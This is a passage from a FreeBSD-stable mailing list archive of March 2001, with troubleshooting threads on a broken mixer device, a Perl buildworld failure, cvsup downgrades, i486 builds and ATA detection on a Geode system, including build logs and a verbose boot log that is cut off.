Kennaway wrote: > On Sun, Mar 11, 2001 at 12:16:05PM +0100, Gunnar Flygt wrote: >> I cvsup'ed tonight, rebult world and now my mixer device isn't working. >> Anyone else having similar problems? > you give too little info to see if it's applicable here, but I had a similar problem a few weeks ago on -stable. Actually removing the device entries in /dev and rebuilding them with MAKEDEV helped it. HTH, -Th To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 13:27:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aldan.algebra.com (aldan.algebra.com [216.254.65.224]) by hub.freebsd.org (Postfix) with ESMTP id 98D5E37B718 for ; Sun, 11 Mar 2001 13:27:13 -0800 (PST) (envelope-from mi@aldan.algebra.com) Received: (from mi@localhost) by aldan.algebra.com (8.11.3/8.11.2) id f2BLQaR62202 for stable@freebsd.org; Sun, 11 Mar 2001 16:26:36 -0500 (EST) (envelope-from mi) From: Mikhail Teterin Message-Id: <200103112126.f2BLQaR62202@aldan.algebra.com> Subject: buildworld fails in Perl ("Your Makefile has been rebuilt.") To: stable@freebsd.org Date: Sun, 11 Mar 2001 16:26:36 -0500 (EST) X-Face: %UW#n0|w>ydeGt/b@1-.UFP=K^~-:0f#O:D7w hJ5G_<5143Bb3kOIs9XpX+"V+~$adGP:J|SLieM31VIhqXeLBli" perlmain.c cc -O -pipe -march=i686 -fomit-frame-pointer -march=pentiumpro -I/ccd/src/gnu/usr.bin/perl/perl/../../../../contrib/perl5 -I/usr/obj/ccd/src/gnu/usr.bin/perl/perl -I/usr/obj/ccd/src/i386/usr/include -c perlmain.c Writing Makefile for DynaLoader Warning: /usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib/Config.pm may be out of date with /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh cd /usr/obj/ccd/src/gnu/usr.bin/perl/perl && make lib/Config.pm `lib/Config.pm' is up to date. Warning: /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.h out of date with /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh Makefile out-of-date with respect to /usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib/Config.pm /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.h Cleaning current config before rebuilding Makefile... *** Error code 1 (ignored) make -f Makefile.old clean > /dev/null 2>&1 || /bin/sh -c true /usr/obj/ccd/src/gnu/usr.bin/perl/perl/../miniperl/miniperl "-I/usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib" "-I/usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib" Makefile.PL "INSTALLDIRS=perl" "PERL_SRC=/usr/obj/ccd/src/gnu/usr.bin/perl/perl" "INSTALLMAN3DIR=/usr/obj/ccd/src/i386/usr/share/perl/man3" "PERL=/usr/obj/ccd/src/gnu/usr.bin/perl/perl/../miniperl/miniperl" "FULLPERL=perl" "DEFINE=-I/usr/obj/ccd/src/i386/usr/include" "DEFINE=-DPERL_CORE" "LINKTYPE=static" "LIBS=-lperl -lm" Writing Makefile for DynaLoader ==> Your Makefile has been rebuilt. <== ==> Please rerun the make command. <== false *** Error code 1 Stop in /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader. *** Error code 1 1 error *** Error code 2 1 error *** Error code 2 [...] Why does it think, the file is out of date? Because make looks at the ctime of the link instead of the link's target? # ls -l /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh lrwxr-xr-x 1 root wheel 60 Mar 11 14:49 /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh -> /ccd/src/gnu/usr.bin/perl/perl/../libperl/config.SH-elf.i386 # ls -l /ccd/src/gnu/usr.bin/perl/perl/../libperl/config.SH-elf.i386 -rw-r--r-- 1 mi wheel 12987 Oct 31 2000 /ccd/src/gnu/usr.bin/perl/perl/../libperl/config.SH-elf.i386 # ls -l /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader/Makefile* -rw-r--r-- 1 root wheel 22095 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader/Makefile lrwxr-xr-x 1 root wheel 83 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader/Makefile.PL -> /ccd/src/gnu/usr.bin/perl/perl/../../../../contrib/perl5/ext/DynaLoader/Makefile.PL -rw-r--r-- 1 root wheel 22091 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader/Makefile.old -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 13:53:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id BA3B537B718 for ; Sun, 11 Mar 2001 13:53:27 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA05498; Sun, 11 Mar 2001 13:52:40 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda05496; Sun Mar 11 13:52:37 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2BLqWD22072; Sun, 11 Mar 2001 13:52:32 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdN22068; Sun Mar 11 13:51:48 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2BLpkU26415; Sun, 11 Mar 2001 13:51:46 -0800 (PST) Message-Id: <200103112151.f2BLpkU26415@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdK26411; Sun Mar 11 13:51:38 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Mikhail Teterin Cc: stable@FreeBSD.ORG Subject: Re: buildworld fails in Perl ("Your Makefile has been rebuilt.") In-reply-to: Your message of "Sun, 11 Mar 2001 16:26:36 EST." <200103112126.f2BLQaR62202@aldan.algebra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 11 Mar 2001 13:51:38 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Based on personal experience, perform make buildworld again. If it builds successfully past this point the second time around, you've got a hardware problem, bad memory or CPU. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC In message <200103112126.f2BLQaR62202@aldan.algebra.com>, Mikhail Teterin write s: > Will this non-sense ever end? > > After a fresh cvsup: > > mkdir: build: File exists > Extracting config.h (with variable substitutions) > Extracting cflags (with variable substitutions) > Extracting writemain (with variable substitutions) > Summary of my perl5 (5.0 patchlevel 5 subversion 3) configuration: > Platform: > osname=freebsd, osvers=4.0-current, archname=i386-freebsd > uname='FreeBSD freefall.FreeBSD.org 4.0-current FreeBSD 4.0-current #0: $ > Date$' > hint=recommended, useposix=true, d_sigaction=define > usethreads=undef useperlio=undef d_sfio=undef > Compiler: > cc='cc', optimize='', gccversion=2.95.2 19991024 (release) > cppflags='' > ccflags ='' > stdchar='char', d_stdstdio=undef, usevfork=true > intsize=4, longsize=4, ptrsize=4, doublesize=8 > d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12 > alignbytes=4, usemymalloc=n, prototype=define > Linker and Libraries: > ld='cc', ldflags ='-Wl,-E -lperl -lm ' > libpth=/usr/lib > libs=-lm -lc -lcrypt > libc=, so=so, useshrplib=true, libperl=libperl.so.3 > Dynamic Linking: > dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags=' -Wl,-R/usr/lib > ' > cccdlflags='-DPIC -fpic', lddlflags='-Wl,-E -shared -lperl -lm ' > > /usr/obj/ccd/src/gnu/usr.bin/perl/perl/../miniperl/miniperl -I/usr/obj/ccd/sr > c/gnu/usr.bin/perl/perl/lib -e 'use AutoSplit; autosplit_lib_modules(@ARGV)' > lib/*.pm lib/*/*.pm > AutoSplitting lib/Getopt/Long.pm (lib/auto/Getopt/Long) > sh writemain lib/auto/DynaLoader/DynaLoader.a > perlmain.c > cc -O -pipe -march=i686 -fomit-frame-pointer -march=pentiumpro -I/ccd/src/gnu > /usr.bin/perl/perl/../../../../contrib/perl5 -I/usr/obj/ccd/src/gnu/usr.bin/p > erl/perl -I/usr/obj/ccd/src/i386/usr/include -c perlmain.c > Writing Makefile for DynaLoader > Warning: /usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib/Config.pm may be out of d > ate with /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh > cd /usr/obj/ccd/src/gnu/usr.bin/perl/perl && make lib/Config.pm > `lib/Config.pm' is up to date. > Warning: /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.h out of date with /us > r/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh > Makefile out-of-date with respect to /usr/obj/ccd/src/gnu/usr.bin/perl/perl/l > ib/Config.pm /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.h > Cleaning current config before rebuilding Makefile... > *** Error code 1 (ignored) > make -f Makefile.old clean > /dev/null 2>&1 || /bin/sh -c true > /usr/obj/ccd/src/gnu/usr.bin/perl/perl/../miniperl/miniperl "-I/usr/obj/ccd/s > rc/gnu/usr.bin/perl/perl/lib" "-I/usr/obj/ccd/src/gnu/usr.bin/perl/perl/lib" > Makefile.PL "INSTALLDIRS=perl" "PERL_SRC=/usr/obj/ccd/src/gnu/usr.bin/perl/pe > rl" "INSTALLMAN3DIR=/usr/obj/ccd/src/i386/usr/share/perl/man3" "PERL=/usr/obj > /ccd/src/gnu/usr.bin/perl/perl/../miniperl/miniperl" "FULLPERL=perl" "DEFINE= > -I/usr/obj/ccd/src/i386/usr/include" "DEFINE=-DPERL_CORE" "LINKTYPE=static" " > LIBS=-lperl -lm" > Writing Makefile for DynaLoader > ==> Your Makefile has been rebuilt. <== > ==> Please rerun the make command. <== > false > *** Error code 1 > > Stop in /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader. > *** Error code 1 > 1 error > *** Error code 2 > 1 error > *** Error code 2 > [...] > > Why does it think, the file is out of date? Because make looks at the > ctime of the link instead of the link's target? > > # ls -l /usr/obj/ccd/src/gnu/usr.bin/perl/perl/config.sh > lrwxr-xr-x 1 root wheel 60 Mar 11 14:49 /usr/obj/ccd/src/gnu/usr.bin/perl/ > perl/config.sh -> /ccd/src/gnu/usr.bin/perl/perl/../libperl/config.SH-elf.i38 > 6 > # ls -l /ccd/src/gnu/usr.bin/perl/perl/../libperl/config.SH-elf.i386 > -rw-r--r-- 1 mi wheel 12987 Oct 31 2000 /ccd/src/gnu/usr.bin/perl/perl/.. > /libperl/config.SH-elf.i386 > # ls -l /ccd/obj/ccd/src/gnu/usr.bin/perl/perl/ext/DynaLoader/Makefile* > -rw-r--r-- 1 root wheel 22095 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/pe > rl/perl/ext/DynaLoader/Makefile > lrwxr-xr-x 1 root wheel 83 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/pe > rl/perl/ext/DynaLoader/Makefile.PL -> /ccd/src/gnu/usr.bin/perl/perl/../../.. > /../contrib/perl5/ext/DynaLoader/Makefile.PL > -rw-r--r-- 1 root wheel 22091 Mar 11 14:49 /ccd/obj/ccd/src/gnu/usr.bin/pe > rl/perl/ext/DynaLoader/Makefile.old > > -mi > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 13:56:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from peitho.fxp.org (peitho.fxp.org [209.26.95.40]) by hub.freebsd.org (Postfix) with ESMTP id C380F37B718 for ; Sun, 11 Mar 2001 13:56:10 -0800 (PST) (envelope-from cdf.lists@fxp.org) Received: by peitho.fxp.org (Postfix, from userid 1501) id CEA9513615; Sun, 11 Mar 2001 16:56:07 -0500 (EST) Date: Sun, 11 Mar 2001 16:56:07 -0500 From: Chris Faulhaber To: Mikhail Teterin Cc: stable@freebsd.org Subject: Re: buildworld fails in Perl ("Your Makefile has been rebuilt.") Message-ID: <20010311165607.A91785@peitho.fxp.org> References: <200103112126.f2BLQaR62202@aldan.algebra.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ibTvN161/egqYuK8" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103112126.f2BLQaR62202@aldan.algebra.com>; from mi@aldan.algebra.com on Sun, Mar 11, 2001 at 04:26:36PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 11, 2001 at 04:26:36PM -0500, Mikhail Teterin wrote: > Will this non-sense ever end? >=20 > After a fresh cvsup: >=20 > Writing Makefile for DynaLoader > =3D=3D> Your Makefile has been rebuilt. <=3D=3D > =3D=3D> Please rerun the make command. <=3D=3D > false > *** Error code 1 >=20 > Why does it think, the file is out of date? Because make looks at the > ctime of the link instead of the link's target? >=20 This is normally caused by the system clock being way off. --=20 Chris D. Faulhaber - jedgar@fxp.org - jedgar@FreeBSD.org -------------------------------------------------------- FreeBSD: The Power To Serve - http://www.FreeBSD.org --ibTvN161/egqYuK8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: FreeBSD: The Power To Serve iEYEARECAAYFAjqr9HcACgkQObaG4P6BelC9FQCfQnkId4p0SVFF5FwWORL2TOnY v+cAn3m0asGG0AXUqCZ4sDUAt+IbaxZd =gO9x -----END PGP SIGNATURE----- --ibTvN161/egqYuK8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 14:56:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-158.dsl.lsan03.pacbell.net [63.207.60.158]) by hub.freebsd.org (Postfix) with ESMTP id 4ED9637B718 for ; Sun, 11 Mar 2001 14:56:35 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id E1BC866F14; Sun, 11 Mar 2001 14:56:34 -0800 (PST) Date: Sun, 11 Mar 2001 14:56:34 -0800 From: Kris Kennaway To: thomas@hentschel.net Cc: Kris Kennaway , Gunnar Flygt , FreeBSD Stable Subject: Re: Mixer not working anymore Message-ID: <20010311145634.A66872@mollari.cthul.hu> References: <20010311033821.A40247@mollari.cthul.hu> <200103112110.f2BLA4M16886@falcon.home.hentschel.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="OXfL5xGRrasGEqWY" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103112110.f2BLA4M16886@falcon.home.hentschel.net>; from thomas@hentschel.net on Sun, Mar 11, 2001 at 01:10:03PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --OXfL5xGRrasGEqWY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 11, 2001 at 01:10:03PM -0800, thomas@hentschel.net wrote: > On 11 Mar, Kris Kennaway wrote: > > On Sun, Mar 11, 2001 at 12:16:05PM +0100, Gunnar Flygt wrote: > >> I cvsup'ed tonight, rebult world and now my mixer device isn't working. > >> Anyone else having similar problems? > >=20 >=20 > you give too little info to see if it's applicable here, but I had a > similar problem a few weeks ago on -stable. Actually removing the > device entries in /dev and rebuilding them with MAKEDEV helped it. Note that if you run mergemaster and it updates the MAKEDEV script it even reminds you to rerun it. Kris --OXfL5xGRrasGEqWY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rAKiWry0BWjoQKURAl6XAJ9pa3VdbRC+iATYVrRFhxqRstgALgCg1t2l IcItoLjbVMaDWsk0W4jwIok= =6+Ty -----END PGP SIGNATURE----- --OXfL5xGRrasGEqWY-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 14:58: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-158.dsl.lsan03.pacbell.net [63.207.60.158]) by hub.freebsd.org (Postfix) with ESMTP id 7863737B718 for ; Sun, 11 Mar 2001 14:57:58 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 42C0B66F15; Sun, 11 Mar 2001 14:57:58 -0800 (PST) Date: Sun, 11 Mar 2001 14:57:58 -0800 From: Kris Kennaway To: Henk Wevers Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Downgrading with cvsup? Message-ID: <20010311145758.B66872@mollari.cthul.hu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="E39vaYmALEf/7YXx" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from henk@home.cg.nu on Sun, Mar 11, 2001 at 05:25:41PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --E39vaYmALEf/7YXx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 11, 2001 at 05:25:41PM +0100, Henk Wevers wrote: > How can i downgrade to 4.2-STABLE with cvsup? > Jail and Dummynet are not working correct in 4.3-BETA. > I did see a date=3D function in man cvsup, but how to use it? >=20 > I want to ga back to the beginning of Februari, than jail and dummynet > did work correctly. Dummynet was fixed today, but I don't know about jail -- I can't remember hearing anything about it. You need to post your bug reports NOW if you want this stuff to be fixed in 4.3-RELEASE! Kris --E39vaYmALEf/7YXx Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rAL1Wry0BWjoQKURAu7DAKC1WfqmDP8mPac6eXx8BBXoaErVRwCaAtAZ 6yNapDUeJHG1QyfcAW2HP48= =5Mmt -----END PGP SIGNATURE----- --E39vaYmALEf/7YXx-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 14:59:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-158.dsl.lsan03.pacbell.net [63.207.60.158]) by hub.freebsd.org (Postfix) with ESMTP id 399FD37B71A; Sun, 11 Mar 2001 14:59:46 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id ED74A66F14; Sun, 11 Mar 2001 14:59:45 -0800 (PST) Date: Sun, 11 Mar 2001 14:59:45 -0800 From: Kris Kennaway To: Larry Rosenman Cc: stable@freebsd.org, qa@FreeBSD.org Subject: Re: cputype=486 Message-ID: <20010311145945.C66872@mollari.cthul.hu> References: <20010311120241.A15202@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="c3bfwLpm8qysLVxt" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010311120241.A15202@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 12:02:41PM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --c3bfwLpm8qysLVxt Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > If I make buildworld with CPUTYPE=3Di486 (on my P-III), and then=20 > make installworld on the 486 target, we get a signal 4 in > the first install of code, in strip.=20 Odd. That suggests that gcc is outputting code which can't run on the i486 because it uses an illegal instruction. #define SIGILL 4 /* illegal instr. (not reset when caught) */ Does anyone else have 486 build reports with CPUTYPE, positive or negative? Kris --c3bfwLpm8qysLVxt Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rANhWry0BWjoQKURAqNUAJ0c4RICPS57MWCQyC7thLa0OhXqNgCg1cpu TZs9HdFTkSvaN/CgPpWqiPk= =ECvC -----END PGP SIGNATURE----- --c3bfwLpm8qysLVxt-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 15: 2:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns.altadena.net (ns.altadena.net [206.126.144.2]) by hub.freebsd.org (Postfix) with ESMTP id 6F71137B718 for ; Sun, 11 Mar 2001 15:02:03 -0800 (PST) (envelope-from pete@ns.altadena.net) Received: (from pete@localhost) by ns.altadena.net (8.11.2/8.8.8) id f2BN1mp58431 for stable@freebsd.org; Sun, 11 Mar 2001 15:01:48 -0800 (PST) (envelope-from pete) From: Pete Carah Message-Id: <200103112301.f2BN1mp58431@ns.altadena.net> Subject: ATA oddness To: stable@freebsd.org Date: Sun, 11 Mar 2001 15:01:48 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=iso8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On a geode system, I see an odd problem here; the bios shows the disk is UDMA 2, but verbose dmesg shows: ------------------------------------------------------------------ Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #1: Sun Mar 11 08:24:07 PST 2001 root@tiny.altadena.net:/usr/src/sys/compile/TINY Calibrating clock(s) ... TSC clock: 299235343 Hz, i8254 clock: 1193179 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method Timecounter "TSC" frequency 299236874 Hz CPU: Cyrix GXm (299.24-MHz 586-class CPU) Origin = "CyrixInstead" Id = 0x540 DIR=0x8144 Stepping=8 Revision=1 real memory = 130023424 (126976K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x00350000 - 0x07bf7fff, 126517248 bytes (30888 pages) avail memory = 123064320 (120180K bytes) bios32: Found BIOS32 Service Directory header at 0xc00fa8f0 bios32: Entry = 0xfad70 (c00fad70) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xada0 pnpbios: Found PnP BIOS data at 0xc00fb900 pnpbios: Entry = f0000:b928 Rev = 1.0 Other BIOS signatures found: ACPI: 00000000 Preloaded elf kernel "kernel" at 0xc032a000. md0: Malloc disk Creating DISK md0 pci_open(1): mode 1 addr port (0x0cf8) is 0x800090d0 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=00] is there (id=00011078) npx0: on motherboard npx0: INT 16 interface i586_bzero() bandwidth = 68138457 bytes/sec bzero() bandwidth = 70427494 bytes/sec pci_open(1): mode 1 addr port (0x0cf8) is 0x00000000 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=00] is there (id=00011078) pcib0: on motherboard found-> vendor=0x1078, dev=0x0001, revid=0x00 class=06-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 found-> vendor=0x8086, dev=0x1209, revid=0x09 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=11 map[10]: type 1, range 32, base e2040000, size 12 map[14]: type 1, range 32, base 0000e000, size 6 map[18]: type 1, range 32, base e2020000, size 17 found-> vendor=0x8086, dev=0x1209, revid=0x09 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=10 map[10]: type 1, range 32, base e2041000, size 12 map[14]: type 1, range 32, base 0000e400, size 6 map[18]: type 1, range 32, base e2000000, size 17 found-> vendor=0x1078, dev=0x0100, revid=0x00 class=06-01-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x1078, dev=0x0101, revid=0x00 class=06-80-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base 40012000, size 8 found-> vendor=0x1078, dev=0x0102, revid=0x00 class=01-01-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 map[20]: type 1, range 32, base 0000f000, size 4 found-> vendor=0x1078, dev=0x0103, revid=0x00 class=04-01-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base 40011000, size 7 found-> vendor=0x1078, dev=0x0104, revid=0x00 class=03-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base 40800000, size 23 found-> vendor=0x0e11, dev=0xa0f8, revid=0x06 class=0c-03-10, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=11 map[10]: type 1, range 32, base e2045000, size 12 pci0: on pcib0 fxp0: port 0xe000-0xe03f mem 0xe2020000-0xe203ffff,0xe2040000-0xe2040fff irq 11 at device 11.0 on pci0 fxp0: Ethernet address 00:d0:c9:28:07:89 bpf: fxp0 attached fxp1: port 0xe400-0xe43f mem 0xe2000000-0xe201ffff,0xe2041000-0xe2041fff irq 10 at device 12.0 on pci0 fxp1: Ethernet address 00:d0:c9:28:07:90 bpf: fxp1 attached isab0: at device 18.0 on pci0 isa0: on isab0 chip1: mem 0x40012000-0x400120ff at device 18.1 on pci0 atapci0: port 0xf000-0xf00f at device 18.2 on pci0 ata2: probe allocation failed pci0: (vendor=0x1078, dev=0x0103) at 18.3 pci0: (vendor=0x1078, dev=0x0104) at 18.4 ohci0: mem 0xe2045000-0xe2045fff irq 11 at device 19.0 on pci0 ohci0: (New OHCI DeviceId=0xa0f80e11) using shared irq11. usb0: OHCI version 1.0, legacy support usb0: on ohci0 usb0: USB revision 1.0 uhub0: (unknown) OHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold ata0: iobase=0x01f0 altiobase=0x03f6 bmaddr=0x0000 ata0: mask=03 status0=50 status1=00 ata0: mask=03 ostat0=50 ostat2=00 ata0-master: ATAPI probe a=00 b=00 ata0-slave: ATAPI probe a=00 b=00 ata0: mask=03 status0=50 status1=00 ata0-master: ATA probe a=01 b=a5 ata0: devices=01 ata0 at port 0x1f0-0x1f7,0x3f6 irq 14 on isa0 ata1: iobase=0x0170 altiobase=0x0376 bmaddr=0x0000 ata1: mask=03 status0=00 status1=00 ata1: mask=03 ostat0=00 ostat2=00 ata1-master: ATAPI probe a=00 b=00 ata1-slave: ATAPI probe a=00 b=00 ata1: mask=03 status0=00 status1=00 ata1: devices=00 ata1 at port 0x170-0x177,0x376 irq 15 on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbd0 at atkbd0 kbd0: atkbd0, AT 101/102 (2), config:0x1, flags:0x3d0000 psm0: current command byte:0047 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0-00, 4 buttons psm0: config:00000000, flags:00000000, packet size:3 psm0: syncmask:c0, syncbits:00 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3c0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 